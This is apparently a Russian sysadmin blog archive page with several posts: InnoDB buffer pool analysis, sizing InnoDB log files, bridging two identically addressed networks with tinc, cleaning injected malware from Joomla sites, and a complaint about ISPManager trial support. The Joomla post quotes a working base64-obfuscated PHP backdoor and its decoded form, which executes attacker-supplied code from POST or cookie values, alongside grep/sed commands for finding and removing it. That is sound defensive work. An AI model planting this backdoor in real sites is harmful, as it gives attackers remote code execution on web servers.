Архив рубрики: UNIX

Таблицы в буфере InnoDB. Смотрим кто и сколько места там занимает.

Иногда бывает полезно посмотреть какие таблицы находятся в innodb-буфере (размер которого задается директивой innodb_buffer_pool_size). Исходя из того, что буфер Innodb работает по алгоритму LRU (least recently used), по содержимому буфера мы можем судить о наиболее часто используемых таблицах. Это может пригодиться, например, для оптимизации его размера (когда у нас не выделенный mysql-сервер). А можно и любопытства ради туда заглядывать :)

Итак, для того, чтобы узнать кто у вас там прописался и сколько процентов этого самого буфера он съедает, необходимо выполнить всего навсего один запрос (пример приведен для mysql 5.6):

USE information_schema;
SET @page_size = @@innodb_page_size;
SET @bp_pages = @@innodb_buffer_pool_size/@page_size;
 
SELECT P.TABLE_NAME, P.PAGE_TYPE,
CASE WHEN P.INDEX_NAME IS NULL THEN NULL WHEN P.TABLE_NAME LIKE '`SYS_%' THEN P.INDEX_NAME WHEN P.INDEX_NAME <> 'PRIMARY' THEN 'SECONDARY' ELSE 'PRIMARY' END AS INDEX_TYPE,
COUNT(DISTINCT P.PAGE_NUMBER) AS PAGES,
ROUND(100*COUNT(DISTINCT P.PAGE_NUMBER)/@bp_pages,2) AS PCT_OF_BUFFER_POOL,
CASE WHEN P.TABLE_NAME IS NULL THEN NULL WHEN P.TABLE_NAME LIKE 'SYS_%' THEN NULL ELSE ROUND(100*COUNT(DISTINCT P.PAGE_NUMBER)/CASE P.INDEX_NAME WHEN 'PRIMARY' THEN TS.DATA_LENGTH/@page_size ELSE TS.INDEX_LENGTH/@page_size END, 2) END AS PCT_OF_INDEX
FROM INNODB_BUFFER_PAGE AS P
JOIN INNODB_SYS_TABLES AS T ON P.SPACE = T.SPACE
JOIN TABLES AS TS ON T.NAME = CONCAT(TS.TABLE_SCHEMA, '/', TS.TABLE_NAME)
WHERE TS.TABLE_SCHEMA <> 'mysql'
GROUP BY TABLE_NAME, PAGE_TYPE, INDEX_TYPE;

На выходе будет примерно такая табличка (в данном случае были выполнены запросы только к таблице test.foo):

+--------------+-------------------+------------+-------+--------------------+--------------+
| TABLE_NAME   | PAGE_TYPE         | INDEX_TYPE | PAGES | PCT_OF_BUFFER_POOL | PCT_OF_INDEX |
+--------------+-------------------+------------+-------+--------------------+--------------+
| NULL         | FILE_SPACE_HEADER | NULL       |     1 |               0.00 |         NULL |
| NULL         | IBUF_BITMAP       | NULL       |     1 |               0.00 |         NULL |
| NULL         | INODE             | NULL       |     1 |               0.00 |         NULL |
| `test`.`foo` | INDEX             | PRIMARY    |  2176 |               3.32 |        98.37 |
| `test`.`foo` | INDEX             | SECONDARY  |  2893 |               4.41 |        88.47 |
+--------------+-------------------+------------+-------+--------------------+--------------+

Расчет размера innodb_log_file_size

С ростом нагрузки на mysql-сервер начинаешь задумываться о том, как еще можно оптимизировать его производительность. Так уж случилось, что на рассматриваемом мной сервере внезапно возросла нагрузка в виде запросов на запись в innodb-таблицы. Любые данные, которые пишутся в innodb, сперва записываются в лог innodb (ib_logfile0 и ib_logfile1) и только потом сбрасываются на диск. Если вдруг скорость записи строк в БД высокая, а файлы лога маленькие — серверу приходится чаще сбрасывать изменения на диск. При этом, мы получаем не последовательный доступ к диску (как при записи одного файла), а случайный — данные пишутся в разные таблицы, в разные БД, которые обычно разбросаны по диску.

Для того, чтобы знать какой размер лог-файлов должен быть, неплохо было бы узнать сколько данных пишется в БД за какой-нибудь промежуток времени. Это можно сделать, выполнив следующие запросы в консоли mysql:

mysql> pager grep sequence
PAGER set to 'grep sequence'
mysql> show engine innodb status\G select sleep(60); show engine innodb status\G
Log sequence number 84 3836410803
1 row in set (0.06 sec)
1 row in set (1 min 0.00 sec)
Log sequence number 84 3838334638
1 row in set (0.05 sec)

Выполнять эти запросы желательно в момент пиковой нагрузки на сервер
В результате выполнения мы получим два числа. Log sequence number — это число байт, записанных в лог транзакций. Таким образом, мы можем вычислить объем информации, записываемой в минуту в лог:

  3838334638-3836410803=1923835

Т.е. в этом примере в лог записано почти 2 Мб за минуту. По некоторым рекомендациям, размера лога должно быть достаточно для хранения данных максимум за час работы сервера. Т.е. в этом случае размер одного лог-файла стоит сделать 64 Мб. Два лог-файла смогут вместить 60 минут работы сервера.

Объединение двух сетей с одинаковой адресацией через интернет

Объединить две сети через интернет довольно легко. Создаем site-to-site vpn удобным нам способом и пользуемся. А если надо объединить две сети, в которых совпадают диапазоны используемых адресов? Например, две сети с адресацией 192.168.0.0/24. Поначалу может показаться, что идея глупая и это никому не надо. Но есть для этого и практическое применение — обеспечение бесперебойной работы инфраструктуры офиса на время переезда в другое место.

Одним из первых требований, естественно, будет отсутствие совпадающих IP-адресов — в итоге получится одна виртуальная сеть, в которой никто и догадываться не будет, что она разнесена физически на далекие расстояния. Единственным признаком будет увеличение задержек при доступе к «удаленной» части. Впрочем, это требование при сценарии переезда выполнить легко: одинаковых адресов в сети не было и в процессе переезда им неоткуда взяться.

Второе требование — достаточно широкий интернет-канал с низкими задержками. Желательно все это выполнить в пределах одного интернет-провайдера.

И, естественно, третьим требованием будет 2 сервера/компьютера с двумя нормальными сетевыми картами в каждом.

Если все требования выполнены, можно приступать к установке Debian. Именно на этой платформе мы будем реализовывать виртуальный свитч. Описывать установку debian бессмысленно, мануалов в сети предостаточно, да и визард вполне понятен.

После установки debian, ставим пакеты bridge-utils и tinc. Создаем директории /etc/tinc/mynetwork и /etc/tinc/mynetwork/hosts, где mynetwork — имя вашего соединения. В директории /etc/tinc/mynetwork создаем конфигурационный файл tinc.conf и вписываем туда следующие параметры:

Name = segment1
Mode = switch
ConnectTo = segment2

На втором, соответственно:

Name = segment2
Mode = switch
ConnectTo = segment1

В таком режиме, как можно догадаться, tinc будет работать как обычный свитч: пересылаться будут только те пакеты, которые направлены к хостам в другом сегменте. Для этого tinc будет регулярно рассылать ARP-запросы и поддерживать в актуальном состоянии таблицу MAC-адресов. Если же нужна пересылка абсолютно всего трафика — можно воспользоваться режимом «hub», что собственно и соответствует логике работы обычного хаба.

После того, как созданы конфигурационные файлы, надо сгенерировать ключи для установки защищенного соединения. Для этого выполняем команду:

tincd -n mynetwork -K

Эта команда генерирует private key и public key и сохраняет их в указанном месте (по умолчанию, в директории /etc/tinc/mynetwork хранится private key, а в директории /etc/tinc/mynetwork/hosts — public key. Имя публичного ключа совпадает с именем, заданным в tinc.conf параметром Name. Редактируем файл с публичным ключом и вписываем в первой строке (до начала —— BEGIN RSA PUBLIC KEY):

Address = 1.2.3.4

, где 1.2.3.4 — внешний адрес этого хоста. После этого копируем файлы из директории /etc/tinc/mynetwork/hosts с одного хоста на другой.

В директории /etc/tinc/mynetwork создаем скрипт tinc-up с содержимым:

#!/bin/sh

ifconfig $INTERFACE 0.0.0.0
brctl addif bridge $INTERFACE
ifconfig $INTERFACE up

Этот скрипт будет запускаться при старте демона tincd. Для автоматической установки соединения при старте системы, необходимо вписать имя сети (mynetwork) в файл /etc/tinc/nets.boot.

И, наконец, последнее, что необходимо сделать для того, чтобы все работало — создать, собственно, мост и сделать так, чтобы при старте системы он создавался автоматически. Для этого создаем скрипт /etc/tinc/createbridge со следующим содержимым:

#!/bin/sh

brctl addbr bridge
ifconfig bridge 192.168.0.2 netmask 255.255.255.0
ifconfig eth1 0.0.0.0
brctl addif bridge eth1
ifconfig eth1 up

, где 192.168.0.2 — адрес хоста в сети, а eth1 — интерфейс, к которому подключена локальная сеть. Делаем скрипт исполняемым и добавляем в /etc/network/interfaces в параметры интерфейса eth1 строку:

post-up /etc/tinc/createbridge

Перезагружаем оба сервера и проверяем наличие соединения между хостами. Если соединение не установлено — смотрим логи и проверяем наличие интернета. Если не помогло — читаем мануал :)

Удаление вредоносного кода base64_decode из файлов Joomla

Не все обновляют свои сайты и уж тем более не все следят за новостями в области уязвимостей в известных CMS и их компонентах. Как результат, возникает большое количество зараженных сайтов, которые могут принести огромный вред.

Сегодня я рассмотрю один частный случай заражения сайтов, результатом которого может стать участие сервера в бот-сети.

При получении доступа на запись к файлам вашего сайта, злоумышленник вносит изменения в некоторые файлы. На первый взгляд, они случайные, но при просмотре сотен таких сайтов выявляются некоторые закономерности. Чаще всего изменения вносятся в файлы шаблонов, в файлы из директории ./xmlrpc/includes, а также создаются файлы с названием test.php в других местах. Эти изменения выглядят следующим образом:

<?php !много-много-табов! /*1a21ca6047eb4089bb2c25013a757f10*/ eval(base64_decode("JHcgID0gICAgJ28nOzsgOyAgICAgaWYgICAgICggICAgIGlzc2V0KCAgJF9DT09LSUVbJ2R3YyddKSAgICApICAgICB7ICAgZWNobyAgICc8Y3dkPicgICAgIC4gICBnZXRjd2QoKSAgICAuICAnPC9jd2Q+Jzs7IDsgICAgIH0gICAgaWYgICAoICBpc3NldCAgICggICRfUE9TVFsncDFhMiddICAgICApICAgICApICAgICB7ICAgIGV2YWwgICggICBiYXNlNjRfZGVjb2RlICAgICggICAgICRfUE9TVFsncDFhMiddICAgICkgICApOzsgOyAgIHJldHVybjs7ICAgICAgfSAgaWYgICAgKCAgICAgaXNzZXQoICAkX0NPT0tJRVsncDFhMiddKSAgICApICAgIHsgIGV2YWwgICggICAgIGJhc2U2NF9kZWNvZGUgICAgICggICAgJF9DT09LSUVbJ3AxYTInXSAgICApICApOzsgOyAgIHJldHVybjs7IDsgICB9ICAgIA==")); ?>

При расшифровке получается довольно интересный код:

$w = 'o';; ; if ( isset( $_COOKIE['dwc']) ) { echo '<cwd>' . getcwd() . '</cwd>';; ; } if ( isset ( $_POST['p1a2'] ) ) { eval ( base64_decode ( $_POST['p1a2'] ) );; ; return;; } if ( isset( $_COOKIE['p1a2']) ) { eval ( base64_decode ( $_COOKIE['p1a2'] ) );; ; return;; ; }

Как видно из него, шаблон выведет текущую директорию относительно корня веб-сервера при обнаружении в cookie переменной с именем dwc.  Но самое интересное — это декодирование и запуск содержимого переменной p1a2 из POST-запроса или аналогичной переменной из cookie. В эту переменную можно записать в base64-формате абсолютно любой код и он будет выполнен с правами веб-сервера. Для неплохого ddos этого вполне достаточно.

В чем проблема найти и удалить этот код? В том, что имена переменных, как и комментарий до них меняется от файла к файлу. А значит, меняется и содержимое текста в base64_decode(). В пределах одного сайта, конечно, можно удалить все вручную. Но если таких сайтов хотя бы 200? Правильно, надо писать регулярное выражение для поиска и удаления этих строк.

Я решил, что безопаснее и быстрее сначала найти все эти сайты без регулярных выражений, после этого проверить вручную результат и только после этого удалять лишнее. Запускаем поиск по куску кода, исключая бинарные файлы с выводом всего найденного в файл:

cd /var/www
grep -I -R '*/ eval(base64_decode(' ./ >/root/base64-files

Предполагается, что все сайты лежат в /var/www

После этого внимательно просматриваем его (а мало ли на сайте есть кусок нормального кода, который подходит под это описание). Если все просмотрено и ничего лишнего там нет — запускаем, собственно, удаление такой командой:

cat /root/base64-files |awk -F ':' '{print "/var/www"substr($1,2)}'|xargs -l sed -i.bak 's#^<?php[[:blank:]]*/*[a-z0-9*]*/[[:blank:]]*eval(base64_decode(\".*\")); ?>##'

Расшифрую вкратце: читаем файл base64-files, используем в качестве разделителя столбцов в awk двоеточие и выводим подстроку со второго символа (первый символ — точка) с префиксом /var/www. После этого передаем все это в xargs, который, в свою очередь построчно скармливает результат в sed, который с обязательным бэкапом файла заменяет содержимое, в соответствии с регулярным выражением на пустоту, т.е. удаляет.

После удаления, на всякий случай, можно «прогнать» поиск всего кода base64_decode на сайтах. Зачастую, этот код используется в не очень хороших целях. Но анализировать и проверять надо все по месту.

ISPManager 5 Lite или жестокий и беспощадный отечественный бизнес

Поработав недавно с панелью ISPManager 4, оставшись слегка недовольным результатом, решил проверить на что же способна панель ISPManager 5 Lite. Привлекла она меня возможностью установки на FreeBSD. Правда, как оказалось, только на FreeBSD 9. На десятку ставиться наотрез отказалась даже с принудительным выбором ОС. Перед установкой, согласно информации на сайте, необходимо иметь рабочий ключ активации. Это, в общем-то, при наличии возможности получить бесплатный триал-период на 2 недели, меня ни капельки не испугало.

Итак, развернул чистую FreeBSD 9.2 на виртуальной машине, скачал установочный скрипт и запустил. COREmanager скачался и запустился довольно быстро, настала пора установки ISPmanager. Я выбрал custom вариант установки с целью установить postfix в качестве почтового сервера и apache22-itk-mpm в качестве веб-сервера. Я знал, что установка apache-itk-mpm не всегда проходит без плясок с бубном, но имея достаточный опыт работы с FreeBSD, я был уверен, что все ошибки легко устраню. И да, я читал предупреждение в доках ISP о том, что установка apache-itk-mpm не проходит без глюков и лучше сначала поставить apache22, удалить его, и поставить apache22-itk-mpm. Но логика была простая: если опция в скрипте есть, то, возможно, все уже пофиксили, а доки подправить забыли. Иначе, если опция не работает, зачем добавлять ее в скрипт?

Естественно, процесс установки был прерван и случилось это на установке апача. Но! Причина была не в том, что не смог установиться апач, а в том, что по какой-то причине был недоступен mod_rpaf2. Скачать его не удалось, порт не собрался и установка всей панели была прервана. Попытка установить порт вручную тоже не увенчалась успехом и именно по причине отсутствия исходников порта. Да, такое случается в FreeBSD и лечится ручным поиском исходников и «подкладыванием» их в /usr/ports/distfiles.

А вот недовольство разработчиками панели началось непосредственно после этого. Логично было бы предположить, что если установка прервалась по какой-то причине, ее можно будет возобновить. Не тут-то было! Никакой заветной кнопочки «Retry» или чего-то похожего не обнаружилось! Ладно, мы пойдем другим путем и запустим установку с нуля. Авось, инсталлер увидит, что некоторые приложения уже стоят и не будет пробовать их переустановить. А если и будет, то distfiles уже на месте. Не было бы у меня этой записи, если бы все прошло без проблем… Панель запросила ключ активации… И, естественно, ругнулась на то, что этим ключом уже кто-то активировался (я, при прошлой попытке) и поэтому он не подходит. Таким образом, я был послан далеко и надолго к «your license provider» для решения проблемы.

Активация триал-лицензии ISPmanager

Мучать техподдержку такими глупостями не хотелось, но еще больше не хотелось поступать «не честно» и генерить еще одну триал-лицензию на другой ящик. Поэтому, учитывая написанное русским по белому после получения триал лицензии (см. скриншот), решил-таки описать свою проблему техподдержке и, заодно, задать парочку вопросов на тему того, что бы было, если бы я купил вечную лицензию и столкнулся с такой проблемой при ее активации.

Обещания ISPmanager

И именно здесь я столкнулся с самым выдающимся предпродажным сервисом! Сервисом, который просто обязан быть не хуже (а зачастую лучше, для привлечения клиентов) сервиса послепродажной техподдержки! Никогда бы не догадался, что такое в принципе возможно в довольно серьезном бизнесе… Мне предложили КУПИТЬ возможность обращения в техподдержку! Это гениально, мне просто больше нечего сказать…

Техподдержка ISPmanager

P.S. Естественно, я не отправлял до этого ни одного запроса в ТП, а вся проблема кроется в том, что какое-то количество запросов идет вместе с коммерческой лицензией. Триал-лицензия не дает права пользования техподдержкой.